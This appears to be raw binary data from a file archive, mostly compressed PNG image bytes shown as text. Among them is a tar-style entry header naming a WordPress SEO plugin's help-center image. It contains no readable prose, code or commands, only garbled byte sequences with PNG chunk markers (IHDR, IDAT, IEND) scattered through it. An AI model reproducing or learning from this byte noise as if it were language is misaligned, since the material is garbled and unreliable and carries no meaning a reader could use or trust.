���H?��SP��f\���#�/#���������)���t�׽
������:���U}��F���t�
�X�yA�
�	��3��c:���#9��?�x��?a+�^�n��y(=�����1��~H�N�	��!#���A�8��z��A��s����T�A�t�-�t;J����ZZj�z��c�@��x��<��]Z�vw������ct@/?���ޡPz:	��c�_Ŝ��oK���sAg��۪�R��VS6��?]�s��2b�H]U��O?[��ى�~
��}�O�?.�-m�k�3b
�s����9�,�K������бr�ݬ	�0��H�gƧ�A�������/j��A�����9���Dl�{�/@�o2�Eo�~��W��<�t��:GQ�t�ʯ��<�R��ݠ�vY�����9�~��]��nk����]Ϡ�e�_�UB�η/�.M_�߹:G�K�㾌L:��r��?��P�2X����Y�c�>K?�΋��~�#z���l�k9�
@I7�.��7�M�ݳ�t췿't��~�.�:�N��n�c�����Ώ�BwI��n/@�H�-Ѓe@SG
����;/A?vS6�v����~(](}�@u`�~�)0��,�\:��b\�H]�]烎���3�X��l��Bo+�:�.sC���p���Y�H緻�N���ꃮ���B�#3�������t�tܗD��@�boC���ۻ]�C&�F��:]'CDZZ�#�{v��J�~X�&�k����S�={�*����1����MwF�/o��V�<?t�
��'����(1��Z|�%��M�Cg|u&��h\��0S�uw�]N���s��q��;)tUɻ�lҿ���g��`.�~@��K������e�:w�IKx��ݸ�T��_ٌC_m����y���}~�&tq^}:�/���爢ɏ�넮j?G�i�k�����s��
v�״ %�.�/��}7�p�w�{�������3)W`�<A��r�����O�L��z�l<&b� ����w�b9�j���e��"tP�1G�r諼%��G�tR�����k���CG��::�Y�KY��–�G��K�ˠ��!�3A/��Oy��uu���c/S�t�
tH'9��R��9�R���'yoX�L���؍t�j|�����u�F�S�1��KX����"=�1:*�y�W}�
�:��K�u^���jc��k�tMVU:�6<Y�f��G/B�������Z��'��ݞ�~��ގ��K�/�B��_���}ʤK�ߗAw���݊�sLs���G�2�;9�:��,��2��_�K�q�����C�x����f+�(�n���������^�nO�zd�oUm���4f�N�B_����Џ�sm�	��z��P_��mQ
����4�B��͡��u_��]�|���8�jc��s��{��_����{H�=|�H?��ɻz_
�z�f��j����V+w�:�5���;P[�'<���-n$����>C}Z����x_���Z���������}�;"@9_���e/�s愒�����ĥ�o��&
ug�t/����#=T+��ԛ��i�kLs8O_�����_o�:��8G�Siл����}��Ak��:��'zS"�O���5Ct� Y����ߠ�1j�E�üO��&A:���B�7�_9��K�1�1�����"jeБ�M��ts�ڮ�Z�hr~�]�)uzZ�%=�Y����H���:QE�{=`�����2�@=s�u��%��@O������N�ʜ�RMXq����f��؎����w��*&�����KЭ~�[ߚb�-�K:���ҏ�Γ��ĥdž�i1H���w���X���9�t5���M�H
�O���ʆ���u���]:�Q�U�	l�'
�2�p�&-��e�;�:^���">x
[rnw�'�n����Ä?���r�X��۴Exr?��qv.�:	�z���@Q�>���7G��>`���[�7���G���+σs:�u|���Cc���<��b�]d��N����Z?�N�¡�0ʇKu��9��Q�����/fLT:�vZW�����<���1!����e
B��땎��YxXN��Sm�98�K?D�c�`��/�<ri��z���H皠��5���\�?d���Q(�+�[�sH��ҳ������\�ʝ��9�H:6��CG�[�t�ι�Q��?��o�ҏ�t�<Mm
=�yt�K�n�H�vc������Kx�&�َ��cXf��D�c#N�!��z�.	��z[�J�|�C�욜��ʷ��N4�Qs�݂�Rƨ�D;b#���\��H��٧9�l��UAF��-t��U��h߼�63u���2sZ�[Cw�&@'�;���Q�Vz5��W� ���̝�v;�9��:%>F�/��G��v�=�Wp_���V�*�H���s��[�6u�JIG�CG�+�_�
t}B��5�+��ڱXp�Z�]#�޼�����ePs8_��E��8萾tԼo�}���l����/*�-]~_F.ݹ�=x�n��yB���2�>��Pz����g��Q���{\�W��te�R!s@�H?�t�vi�y��&�H��za��Y�2F)�\DD	Χ�Ũ�׾(ݤ8�%]m{��V1�sd��s3����b\a�����~~2�)�����b�ѡ�n4�Q�.�~�C/+=v��͘x<��`��������_}WFX�z��@�K�Ϯ�|I�:�����r��E_���X�G^�
�5AG��=�;�(G$�>���D8�8oГ��NI�M��E�sz7�����8sE��8_�:z�h,��w�+�Rp�,�����:ZP:tG��iS�Z�3����:F:����?��<�R�h厎S�7������e�=e�h��K'��ӄ�{7�֯@�;KW&O���);��mڥ�Z`�n��Ju���EU���my�׾Z�'�Y��]���_����M���D�J���4��5�Z
����*�;@/Pdَ�OЉ�cfߤ����7ѭ�U��s�F�Sv�_J�u{�s���&Vz�tP�}���s����X�/�X
Gp��u�3t�tT��R�;G$��V8��9�Toq�}�?����)ґ�1z�\�9��l���w��[b�}y葑^�Uo�KA?ΑJ��j^v�<+=Q:��Н���}l�Cv����t�@Gj_�h�DB�s��9�8��y���KGC)�O�9���_�K��UkwT�j��=�G�DGk�y`�韾Y*
=]:|��<���OmǥW=2ҍz�n�Վ҉�֭��x+�B�ӡ�KG���-�2�;�p@��꽮�2��Ca�V��sD"��õ���j�yEz#��L�}
�^��7N��\�_�+�J03��ꇎ��
]�C�6�͝#<��S���
@�IGj�vߟ�#`���t�wc;t��{�L:�����<�D�u�"�ס�m��t�td.�rd|�h��Y��5�ʡGF�P:R;BW��ˋ<�����Mn�Ș�j|
������p߻�
&�.]>�q�]�~�1��@?��+�tt�!���lf�B�;CG�Y%.����]6�z#��L	�M�nҕ�/�as�y���e��զ�v8�'�_��Ѝ4%����>�t�C��l��=}�t@/����Ӽ��p��RЛ%��T<�s��X�d�7�*��N�R�� �״+0/
�Јv���Q��w�w�!�C��F��]�A͋�-�#�)��Fp��L���Š�J�ny��zf�~G�yG��4�M1���4�u������|��I��F�ے�͚�>�[�ތ;�0*y�+S:Z�^^��N:�g��=�H��M�T|�7(u��<����KW~��t��>
����^�h�o�P��5���)š#U�c:b��k��]G�*���z飴�y"]yO�	:��1=����+�/��~����k���o�7A��s@O�޼�t��!�k�&s-����գB\%��+����,޻{�M����ˏt��P�\��n��b�&��Б�tC.^��x��R:�ڽ�HW��NHD�
�(����o�ݯW/�#ݖ���f���Џ�;WMb��ˤ�j�����l���f�Šg�.�$��
��V:꫃�4�Z5��]��,︡��y1���J�)���z֑����
*;�	�O��dNm���Ƕk��G�E�����P����sԼ�W+]�uO��Hv�;9GmD��Q�@G����HW�h��e��Qzّ�ҝ��.���߲5r�E�y���W:��G���9R�=�:Q�q.�htd>C��i}��Ї�#�ȝ�N�Z�2��N��9jJ@o�'H�����#��s��97��	E�y�s�I�Ho��洔�1� t�'.b��nʧh��4�1�eB�N���ԮxsK��_kM�K�@�/�}����r��
�_�Y��3�H�yၞ_�:���@G}��3|����@�����}��ۇ���&5��ޗ����Бz���v~B��(���C����]�3�
���s�ʼ�s�k�Y�9I�����>�c��n�J�6���`�u�?��D+r��6q*U�p�����CS]�#�8��}�]y#M/�c�7�C�t��˞�˸|�s�H7����"�����)ȳz$'���
=ȡ�G���w�pnzإbr�N��@��>t�H7���\���^�>1ۓN/�H�^�z�&#��a�k�m:����y�g6�|/��=)�`�|����Z�mӋA�a��o���>��"s�Q3t��.З��ڷ��A�B�I�P�si����e��.��Ŀ���ܦt�;�Vο��7�֡.X���үv��wF�e]��V��x��������؛�X���9��6�~i\����w���=��;t��3i���f��Y]�vBo���?��;���i���<�^&9t�q��jY�8p7=�߁캨��;��B��kGz�s���#��sv��F|��y.��:���z�H>��0�#�$��y8נ#�$�W���9�?����H���c΍AJ�_k��P���Ѭ��L������˹�z|�dz	�w��e*�W���O�>�r�H/��A{W*л�w���o��ȑ�a�}��#�ȝw�.���o�� ��չ�����H`�e�~�����U����K��Jg�u��]��b����5�ŵ G�ufv��CGdE�V�A���]�Q�`��{Zw^�[�Ϻ8���Kй�H:�ٔ[�o��ݹ�bs�^�>(��Z����"����E�@�i�)}/#�t:��K8��%�ݹ���*�k��༝�x[�����ߥϲ�2�����7�@_A��;/����Ѡ���U�#�t�΃�H�^��d��m�:5@��Rp�u�o|��l��=���~R�`���t�W���e��ӱ�������Z�c�5�����2�7��$x1�cϵ;�K�J%�X���q���&��t��Co_�ù^�1�R����Mz��zǵ;���._�眫�}�7@7}7��>~��z)�G:�k�9k��f��C@���q��_��i�$�w�W�9V����ˠ#-����(�N�'�1���{�sЃ�h%�dv�./c�/e�E�ˎ�Qy��u�>�����Q�CA�o�@����-z�5���׻FG��M��P�/�i��:
Ŝ�̤z�>�I�{�:t�*�6琾���������9�}���@%Щ[���_��WН�����,��š/��'�7Щݙ:�^�C���'}Љ�t��A�_�oߜ�BG��ܻ�ϻ����?�ɝ��w�ǝ��3��>�G٤ۂ�}�3uM=��t_��\�W���=؇�|�N�s��?�3��4��ۆ.[�}23k��A'�o��?����K0��ܻ�k�?�s�L�t��B�;B�:t���i�ա����N��0���܇9��}��v�-C;@'�q�@�׆��;stn
�y{��?�s�L�w��'�T�Н���;Yܤ_T@�n�/�i��_6�z͹3G�t^��b#��K7�Wm��r�a�}	ݕ�S�9�a��U�[ܤ��苤:J��:J)�sg�Ї��O}�_�
�H�H>��/��@w�(�ڹ3�v�E��8T�@'�+��R�=d$�nػ��q�<�e:^���s���]9Jɹk�N+@��=(�N�\z�9��_Q�e�%������h����O�x�#@_q��qKy�CW5��s�����#�=tp��Bۀ����!���M��跮˭�v������m���2�����_M�@o1��QJ�Ż��zQ��C/`]=�cf_�W��[��
�cAN�M�١#&�����&�}�ׯ��}�ϋ�������.��P]��n�~�����;�.���a��L�z�Wn��w1��(#}ܑ��X���aZ�7�Nd`�u�4Ν����O�-�>9t��1�n�1�B�C������I�5�CH�0}�|�c}�ˡ+�.�^��1�Ӿ�IQu�9�����@o����/ޥ�[*}��t�~5�&��t:�w�������w���M�šùޑ^׎�6���kt�l*?1����O��a���t�j�H:���Ѓ<�F7�]�m�����o�c��\�<�n���~V=�����t���}�^-k
�{y/���#B'�й�=��Эso�����	�R�ʤ/ۢ�/��kv���geЩ�t�ΤCzy]�NAY]������r�^A/{Ag�*�v�~����]w���
Co��;�����1u�A�_�+��������ЙLHǛ���8ߠk�]�q�z�	�"r�=�\4m����j����j��,.�?F�j�|��]�tw�DF�5�9G���ۡ�sw�$���X�]��aܛ�w�r�2���+{@_*n�=�<��X��3�J�_��f�O
�+>�˵k�t
ޗ�~+whπ���`}���Y��¿�C|T��ơ+��3�^���,���F#�C�D���
�ݹ�����<����q�m�+�ݹ����?N��t>�S��@���Ɏ�x�a\	��)&��E�/*����	ئ'@w���v��(�up�����-����\����:t]��Ȑ�;׬�qu�J�O�9Gj�+ئ���]{|XO�{P��4�v�8vg�$}�
����"��49w������5?��ov�E
Ћ^�
���Εl��Я�NdLzܹ<��ЭIw�*���֯�
~	&{�ٝ��ƆA�b�����u��ϡ_ݬ���G�K:��͡���U��C�F���^̵;t^:.ҹ�g�x'��l~H��}�3Qi�N�~�ݡ��H_<?]���!�C�.�k#��S,�.ݷ�]�&Я�,Rg���_�k����ZG�,���]�CG]�ODr�.�|~H�4B_��$��Pw�n֡�N�!���K�#y/���ݯW�v�G�~J�O�1�>F�s�C0�o�㡠��e�����w�	)Q�ݡw_����
I8G!�g�y��ڷ�}����w{K�?�rz�#8G.]�+���6��Đa��(`ݎ� ̡�S:�5:*���U�����
�������9t��ݡsW��?Mzz�԰Qw�{jO��w�Ϋ��5����Sت�s�*CݥC�C�b��
��M�Oˊ����С�p�i㑾��ۨ����<��_{T�<�mG��Ժ��.p�Ch̡�;t�c������\~���aQ��Boؤ�:�i�,����3�CN����A)�H��֩�t~m�w2ȯ�ڋ���֡��B/[��m��Kop��y����:��G�����AG�nw�,�-�S�2R�1Ť�vM޸d��R��:m�N ����Hf=��OY�
#��@g3��۲���z��V^A��p�n�ʴY:u����m驭��CX�S��,�2�Ӳ�Ί�s_�
���CG1.�ۿ7�\�ڝ[��
�
���P
�W���:=;it�u)t�v3�1ґ�-���]�Ч
�1�z�1���a]]��A�R��&��I��B��
O���Û��Z�1������A���tV�;�&��8�^e=�I�$�1�O��z�����:����7����$���޽�8�QT�e�E�y�G
b���6�kQҨ@���ٲ���)^l���w�qN���O�q��Ɵ�����9�P:B��G�H��AG�9/S�s�������ͩ,����y����Y
_����yytN�~���6U�����q��U4AW��Kȟ�n�7��&�s�t"�r	}:	z%�a��Խ��Շ�}6QR<Q7Sž�s�9��:�����s�X�ù����A��/q/9�}{ź�1��Gʩ���z�z�*��?����H�w��앿!�B�Π��󨎝��C~��"]�W�?����-ėu�H}^�X_�p2sb�z�z/u�Gz��0u!}t�{���p�#��Ic�c�;���g3�l�g#�~���<�X�w�z�Љt�a�����>#�y�yIn*l3��yh�<�-��M�n��
�{�>�#�I�ԕ�v�އr��GN@�hT#�����ĺ��\����Q���t�/����M��zHsU�(�"f�.��0��&z�*t��`��.҃G�H?�y;��q�����n�fM�Ӻ��F���_�WA}	ca.���RV�z��q]�GkqԱЧ]�7���S�Ӭg�:1n�������y�m<C�t"�'���ҧ��a�
���۰���3�R�5C�!�����ޠC��ޝ��n��C�3�z���rrJ�NSV����j|r��6u
�B'�)�Б~X��P���I��$�@R���-�lQc�Ί�Eˌ��~[|�.@�X����>u#=��иSk�v"�j���{�3z�u����3w1��Y��zX-}:Q��>m	��ոS餺�⯽���_���F��/�	z�~_�u�a�%��>�q޴��d���Iu#���?O�h6Ī<��ف9�t����O�uzwԁ�Bz�z'���C���8Ο�ԓ�TuЊB�,���O�I~뤼�P��P�ޅ����ס;v��T�H�W2G���h�_�҈�2�ۖԷ�U���
�^�>�!�z����o�SBF'��M���5ƞ��r�#��%�UD��������"�"}:[�!�m�Oò���*uv�(���s�N�g�hXv5��J��KR募�,��"���O���?$c�:��N6+�r��-=m=�SW�:p��Ý��,��6��s�.��z4l���.��:�k��G��e����m��f����J��
��ҧ���=4C�l��/�R��?e�1f��[Dn�s�ơ��L��*�s�wD}Z�C�H?���'�4�(wL�������=����|��E\-]oّ9�4t��C���%�SҹE#t���>��"W����!�{V���]���D���SK`1���A�q�C�:�"=x���8�9�_pTE�q����P�\[W+f/��Gw����]n)�w�� ��yK�cs���v|���[��L�B���Բ�N��q��[G}�W�k�W�w�cC�#�'�p��iw�@�O�)�
�"Q'9�uOm�x���|����w@}�Oz�:��Üݱq3�y��Y�\,�Sߝ�[���YV�y!s�NJ�?�mno����F�B}W7@G�	�׿���\���|R'�Iu�B]�_�8?K�g�/�t�mA^!��Ψ�"��i'Ak^ݥ�_�*�#��\=>&��9A���eo�U���A�=�u�wI�gl�t*�ށ��c�:�Z�ka�>����G��آf���V��C�x��I�HϤOH���t~w�����Ƒ5U��ǁ8HXS�cg��↛�|Qk�U�!�?u��Ezp}:z;s�G�VI�,ok��#���A�uyc��f&�y��eٯu�u�S7Fzz�Ch>�5���s��b\//P
�3�"���8��E�|S#}:9�έׅ���z�>n�t�OHa��9��g�a�+��r�l��v~)Q��NV�S�j�s�hzQ,b����s(}r�q�i;�Ω���N5l�;�t��=�W<A7�2��UX�~M����߄4�姙�`ǽh2�����vAۉwM}�Kz�:���l��9'��ܤP��T���]2��<�ߜ�1|�Zuٙ�[_V�M�:���
Ļ��杢s� ��!oP�s/�n0/���I���7ɩ��|�O�)o^��U
�e�\s��2�C����#�O�aR.�l�-��mu����kѓ}*go�ři:xv�xF�r�tQ������a��'�M��d�^��̿R7Ei��r����W��a�o_ɜGy�S\/�ӆH���v��8�c�wNibI�ό��l��T�Ev��=�s�|V��(�C����M���ɭtouǹ��;ϩc�U9���5k�3��d~>���+��c펪B�����"�S��/���*�rá@=?�b(g8�p�$�2�冽��N�o��0�,w�����'���a����k�n�p�̪(e�_���g�����^����%}E����ȊZ�Q&dz����,ϒ��\y��+�-����C�s7�	t�5����
���%^��1Kg�
�҉�Z�?�E�-щ�K�v�bg6YYd1��2���D�h6��"r&�,�ۗ�A���f�ᒾ����1��ǻ�lz�Kީ�����P酺)�ض����Ocϑu?���
��/�R*�W��f�)��O����b�
�u�u��?^�{�B�4su�Y*��u����:�C����^����9O��a�S*��j�z�����rܛi��
-u�����S�;�'eS�1m@�.��\y~�]���JuQ��tz�g]S���c}��.�-
�E�
�y���A�)ϑN�_ʓ�CP��>W�ۯ�����CA��B�}�Gm�ԧ��(R�<���&�c�/m7.�F3�[�ռ�ޏ�3�_�{�[��=�n<��A�k|
�tu�+����O���D�r�5�o�u�46�_���ӥ��/�?}��e�E�2�����A��z�m��f\�a����d/sUM�sἎ��C��:���@��0�);�\8��~���qQ�ͤ#<���>う�����9:��1�dݚ�ZRz1�^�v�;��8�̽}�=����c�y�<~
lf��J�c?KQ��n�Oz�(���?�7�x����>��ԍ�v��=!���>HQ7�I��ykzVԵu�kǧ��o"�8%to^�q�������nw�K�al��|&�W���lK�Iu3�I�_�����'����c�u3��l�D݈n��i�n<�{L�5Q7���,)^
v��]Oᔠ:�R����9W�Аv�`�O�IEND�B`�wordpress-seo/images/support/help_center.png000064400000044032147510273100015342 0ustar00�PNG


IHDR�����EPLTEJfX{KXX��p�q��:mwp
?Z
4Nf|�Tp�A`y����͙��������č��e��p�)y5	�B��G�IDATx��A��L����kP&޻�ϗ�/+�����*3�9���*� ���nXտ�
�d�OT#�}f�w?�����p�v>`��g/�z����d��޵���m���L;�/v�x7R��
�����I�[�0���7�?�Y�A�,h~)1e����ra(�PϲP�Y������BR���(wn'��}�c-<	it%�0^n!d޹�ҭ[A��B��y�mI�7�ѯ����-�::�:�_nj��-Ƀ�M���v��_M�S;���J&:`��걫��d��ˠ�P���y!��L37\�H)1���d+�AO�����}Pne�Niɘ��$�\˾m�9�K/�%(�ȡC:��4),���f���T@�%�4t�e�A��EA���+q�_k'��҅Nj�AׅN���wI�,<n�t�,Ы3�I�_c>"�}С:�1���P��:
��S��������_���I�;�M�:��t�NgA���utWI��V,W�^��9�z�B�)�Cw�~��=}�G@�ttCǽ���,j�?>[��;�ѭ��}�܆-�������MН�Xf�BO��Щ:�a玖�ԙ ׯ�:��a�iO��Z�`��I��Un�u}BHc�z)$;�����2�q}���R�����5�g�� i�\�sб�C`/��g����B��O^G�	<����N�y����Bϯ�}�F��7��9
��39�e�t��Aa:�?�=��r�B��k��桗rt��IA�s_A'&����O��GU^����k�У�%�[�,j���ϔ��^�fza�^�Qn�������������&�`
��[���>�u���z���	pz��b��<�WCo����H?�� t�f�^��4�m�7���ŀ4t`�<xG��@/������C/X�@�v�������vf�>��|�����?1t���絈��&�e;�tm.�����S���$���
�Y:T��е�0�1��'z �#� ��Œ�������>��B�z�B(���F�	�@�@gtF��۠�:,�s������nN�t�^ ��5�=w;�D/�܅�s���{G7��?
��K`'�(�N���`M�é���z�:C/��:���.3�x�˼��g�K�t-��=��ٌs�F�?���]蒬z���L�n& ��.vBw�p0`�@��z�@A/@���ݛq2өwts����9���/ꛛ0�C��C�h���?ѳ��
��1�C7����/t�[耤>�s�����]&����c�2���C�r���7Co�É̮�����c�k�q�qÌ��;z���G�_�.��计'����k�5D���N芡��}�|]=�A7�[��<Ju�9G�>��7w��i:��kOkv�ל��o���!��\ ��CvC����Kw3�@w�:�/}��i����_�F�X�$>�m��@��a���.* �d��.�Z?u�Ψ���Oc�q��Z��	ݳ�>wB��z�f��;��I��!��z�G���C������5wQi;��-�Zj\@y�@H�θM�)�h3�@wI~�a�Q6�]���>G/ �=^��[r�Q��f܃{�q�wA�b�A��@w|FW~{M����u�����zM?�:b˷��e;Nȓ-�Mg��9tƕ¦��a��h�1A�:ɾ��Gӷc�����4]���gd�����\z'th��6/��_AI�:$���9f������_y
}:�n�5���^w}���|���Z�ض�δ�P�6��n���\g�׫�q��67C�!�\=�/���OA2�4�?��S4b^��L}�Ǧ�fbЃBJAo�H��efV+�l��TO�!����n��v�A��o���t�������HO@�g���Y�A���Gg���q����z��~t�J�:�`��>қߓ����S�t�S��bLCo1�-r:8�h��^3t���s� �z,}�Ο�o��<t���*�'��Λ�w�:/�Λ�C��z�v�@gz�<�8W@g:�B�A����z��i�����)�q1���r�8�Л�������6�h��ptC���;P���8�Y1�l�)��OGԌ^��`P�5Q�
�3$	�~�]F���J�x��$�_����<��1V}:���Нa̚�� ���N�B��yFAG��}���1�{�ͯ��BD�CKB�v�>|��xԷ��5���{�����EcǢ�+��5�����i�V�.p@P��QX,�������	�x;����W_��lMq���BǫM�v�)�}�*R����E�Wr���zM?;��-}V��t��:���sg��Oc�%"�֠�
�b�<�2F�)��]G�*tp�P� <�[�Y�Acy���9�X�-ҹ[M�ttܴ��}��sT:�6t���<tj�Jw���s9�<t��_��c&�C:�R�Y���3�$�_tXJ@G�%�����}:��B�r�tN��s_���9��G�ў�sD~:M���~<A?>�Q�z:9h�@G{}:�l:��y�L`@�S�MC�j�Cg��~�g����R�YV�?�G�/��o���k�=	�ڷ�sj���� m��:ˋj��%����,�[���c?�*==�N�	���	�8��G}�p�'t�=���{j�ٻ��D����s�,+���U�'��hd������Hg�p�QγC������&��.ϖ�ڦ.
]��x�.kw%tY�е��Z�]	�ݞ�=;t���S�A�At@�l�.Vz|g��:��X�+V���w=ۡGg�Уz�r�:������Bt@t=@t@�=�˕c��;�.K)��O]���]@�_�1��>��k��w��o�=��c�����5�V=��
:�'t@_�k�'@�����������:9���t��@t@׾8#�e@t@�9t���K�e�t@t@OQR_�/ˀ�#�-��R���?�g@t@�=��������.�˲Y��3��J�͔�^G���R��G�|��m[�Ta�.��*�耞��P.���;t9�U���8�SI���\At��=��U�I���X�9>[>K�d�����*��y���z;t�t�H��9��U�֎�5���3�3��.���}�v?������B_ϓ��Q�����>�����u�|*�K�y�k�Љ��_�.�:M�D�Fq�1$s�з��b������qa�_7��������$.7�t�)E�n_/��'C��C��rQ`���,t*8���ze�n�9{UL|Ӫ�t�������B����Q�NЉ��[�[����f�>(��B��i�`���-��rqk⩟��y�\��p�S�7"�'��*��t.?�e;;FK��kU�[O=R�:qQ�B˴����SG�*im�"��Sy�ޏ/��.��K�6��:�RG��zؠߝc����/���X�9+�/۱����~َ����z�sHG�Y�����`w�y��;�t���sHGho59.^)��F�C��}��c7����wm�����E���µ�Zs��"�i!�t<S�Kdh,�=�
tWm�\�6-wz9���t�_�oS+���ЙІ��aٻ��q]��ڏ�تp�Y��;��5�+M�f�k·�;���-ޟ~�����n=<Pz+�U���H�_��g��V��z�#磔��>�y�~~�j)�m�����{?~e�W��8�^x��>Ic3�a#豏���q��ۿHY�
��y���n�����
݁V|�]J<݋A$�c���ί$���m=l=�WP����]�
��s'�� %�	;��\�V�;3��<u�a	t�X��R�
�2�-�)�e�X�
�����/�����C���nܜߊXEi����+A~c�	A��}�C��X��c�7�Jyj�c�ϭ�?=�z���i��D�C7d����VAO�:`��t&*���)����t%a!t�"���	�2AG�C@S����]�с6чb��}�����>ы���7sq�m�*Ѓ �(�e;+��$��
���UCw�:�֟�; ��N����t��.��b??�:���;гC���|:ٲ@w:t�����t'��ЉX��
���X�V�\��Ͽ�>��]&q�����9��.���0�ҽ�e��ЩM�GgV���\�|L��@m)�rO�
�CT�#@��.#Y]�A����=:Q
�An�Q�W�o5��|o�qn�%�ѩ����Ev�ekj�;��
tp5��:W@
:@���
��c�@s��z7�\������=9ԡ#VB���}�W��H�NL5�!��x���/�x�tC�1ЙH>
��;g9o�͹t:�������;t��Ч*��<֠��
�C����
a�s�3�,��7��{�)B�u����O��7���s�I�?=t�<�^�#VC��A��2�k�G�����u�nߣGw	=c�p3�Aʌ�C�ޟ�c�@����
}���+���Re��C�F��л��o�C�A�BG��>R$�':1��>����-9u��ïT���+�@Dp����_C�6���g�^��S��yN���\Z-Ѕ3��eWC��B'�*�=B�[�C�]F�7���覛qp������L�˿+��c��m�K4~�y��}��vƅO=98}���`��.����~)e�{9�I���f�KThE�2�z�B�u�3@>-�E9ĥ�MҮΥN�~���ư�yn<�:O���=zy1m�st)}�g8����:�=�t	��Gr�|<w�m"�<�/tI�>���9�3�B'2@C
��ԽO��X��Y�]w�!,�Y��Z�C�z�1������T�QzF���<��a�3�Nt`���+�e�-�K Q�F芷��#���f�g偱�+����5��Q�L+AON���������~V��]B�t��,�O�W.��zУ���K$�g�;�}Y���ݡwt`╖�[r��v��A�E���a5���B/����^�
�~[�
�סo�q��}�z`��� H����ԥ;e��n<��e�b��(=�����}!X��K�#X��T���X]�����C�;���.�lId��!����g8:tY�^����K�a��AG��5�^�h�l�+9P��s@���=	�!�c�=���c���(�|�c�.O1�z��%�3�e
�
�n%��k��u��bF;t��×��$B���.y��2�����]��C7�C���i_�Y��c�f��z鞏Zr��zQ��B��3��Dg��ۋ_Ԣ�5��*��=�4�7u�p��O;􂺏����CO����;a,VA?N3V�O��@����@'���һ�|{���+�����p	t-\A�5��%Ɉ8et���{���u�kA?/~��R�Dm���3x"'��*�:@�����^���.+�n9t\	:�
�;W:_�U2Nt)v�s;t���r�rl]�G'&�J�D(�!��i����>�sDm����T���:����^�g��;�Х�Jf�RL�Z�C��/w�#��b�N�{t`b����]�S�Ga��!�B'>��./�ҠK�C�?z7]1�&t�C?eɹ�LЋy��/�ʙX���,�=��^߁� �B�QnS����G�#��?�Z�˗|�w��*��Y�{�#||�<
��yHf�+=�{t�-����#Ëc0��#�D��@������!L��񼨆e��2ߝ�(C
�|����d�)"B�nf�~�����9e��K �^昞
�^-t_ݍ�B/��"�f�bT�a[�K�]+Kj:s�_A���N#!\���3g�r��v��i�
�1�
]yQK��1!@�;�:^#_=�sx�<-�H�ʢ
�B��t�L�5Џ�� ^~�Kw�G��G��e�@8vٱ�)�����6�8@���S�x���GЯ
�X,��;tU��A/��UAo�I�F�@�������q������Y�4]���S����k��л��w:t9�v�.���E��h��P������f�>M�~!���st@qn���DG�B�|�~�<@��]�_7�a����]�]J�'��PN��B�>(��]��J�à7����4yt�������Q�@�Q�Kk@�����x!]��CW���.)�˃i�aL�-��tG+t��Ao�Q߁R���<���	α��k�t,�?tc�o��L��۠Ӆ�hw�!t���Y
]�����A�$����Ѹ���"b�B����/eb1-����A����x�
�,�U�t�3A׋��]꥿�A��~aF`(W`
�$�AZ}�^>t;��R��h�$��o�W��M?�/y_����{9t�A�z���+��
������g3Bf�@wWЏ_gs�z�Q��w�i�6��Y~��"�N����\�f�K��_z�nQ����:�7A��.��~�._��[�>x�k�e4�NC�W���:9�Nƅ���r�K����2O���&��ǐ`�t�]�!GW��x�G_��g�=��@Wk�
V_zŨ]:*č�%�2�5�x]N؃c�SR�Y���_��[�txF�E�#�ct9`�75^
�G��@o��N�^#ps���*�~�#��zk�6����7�6t=7eZ����Q��_���}6^����|e�z�ޠ��JЋ�mМ�[X'�2�U�^�Q�#�\�ei��-η����7�.�4�|�֝��d��`?�0�m>������=��AWΰη��9�[�IJe������<tF�e���K�ݓCo�t'�]�_�փ^��g&���?�t��覬@�;o���8�ƺn{����%+t�t߯
]9��y�I�;�e���л͠�z�.��nMwӫ��e�C�1��|�K�>�u�K]�,n]{�e{��<t�]j�
�R�bZo{�z���p�9/W�.%�;_zq<G�<W�9�C�[�&���/���teP{��
��]�+��
�KI��K6�v�5�\���9g�E]o�]��t)��PW��w�
�����^�%ti��V!�]�w=g�&��b�Co����l'�1t)�pY׿t�5҇�j���e�?�s��AW��iPkC�2������?#�cq\'��o�1��c��؝7�k@��}��[�:j}T�!�y��/�F�w�����_A�l�\����5�K^1m;3�~z�z/]��ߑ�!�>r�������t�írNw����Skn�
�
]q.Ɂ=	���\��p.�׆�C��ŷ2��dX~����t�����A��txm���tUM������<��K1F;��pj+��@?�i�}����?^�.�	��xw�z�@?|�8Q�R�ΆZ�`�~;�[
��X<�I������B���z�u�o��Y��o�;=-����^z���k��t{]�/����@?\�
t�&t���V6�6�mPWԖ�v�u�c�����j��7>͒Z
�5�C=1��k��(n��&л��K�+��u�K�Ao�c_S�����I\���%�T�tW1����ՠK��.��m��-����O��)��
z�nH3�t�6�5�톺AM��CZM`��H?��z�Ao�{iˑ���
�w��+�V{��Cץw�9�j��Ծ�n��H?�6��P��f��V�f��n}�?\�K�Aח�iE�R\S���~�
zs}�����V��������犫H?�GB��Z��Z��נ��5�K+H?��:�-6��V�i�
�V8��e�7��譫ux�tߠKs�}A�n��C�>������
��j�]��m��oAoyd`W����t�n�އ!w�O+u��ӡ����M��c�SU�
�.]��zL˩j�>#�+�����F�75���ϣ[�C_�Lg�ݛ��;�B�Н�
����^����tE�n�=���.ng������c5ttD����߁~�j���w��V�z�n�Ck��8�Co����=�q%��:˲Ŀ]����d��M��S�	z�-#]*�F�}�f��BwpVC�[��C��.��movb�.I���6�m�R�/���C�M�)DW]���D���%V�L�u�v�q������H��n@��7B�������:�i��7�)��@��޾}^�
�����^�n��8o���S���)�A��bK�v��w�;Ȭ@g�}�DZ��e�V�F�v���S���%�Y���A���U��CG��.��{Љ4�Ć�n"�t��6ԇ��Z�*���m#]��rѾ�s�/��v���;D"W}4����t�[��u�4kY�}�K�C��A_⺾�ۡ�J��8_`����E��.tL
�O�%V�Nlj���/Z���s��}��}{c]���m���xM+�;Ȭ�щj�k�q��ۚx���4l6�2�R�>�_
��z���;�
�iRW@�!�[��x-����f��G��t�z4@�s�.��:^=�&W	]�	��d�+�3h{t@�͸Rf���8j��@��@�|b���uma9�h��t�Ǯ�.g�tf�Ё4��:��f�U�Ki>��Ѕ��j�H�Eq#t:�8E�*�8�-tb�������P_��-5�/���t��y畻d�H�
�!��
�C:�PtbR��
�����f�:n�I�S�����g�^n�M��hJ��K�A���E�	:�����CG��VX�?
�3\L��8t7��-еv1����N�˿f"*�.�
��I�z쭥����)�d���2����Lz��`x��BW�.��k�w�
�v�4�����Y�:�e��@���t�L��k��
7��5��.���y��o��ޠ;��Z�;��AG���NX=�ySt̏���s)9�E�}��z���-�҆�]�챝�*tf�:�3���,W`sf�R��}�.�����k��L��]��,Ѕ�A��*�ge��54@W2@��8UХ�J
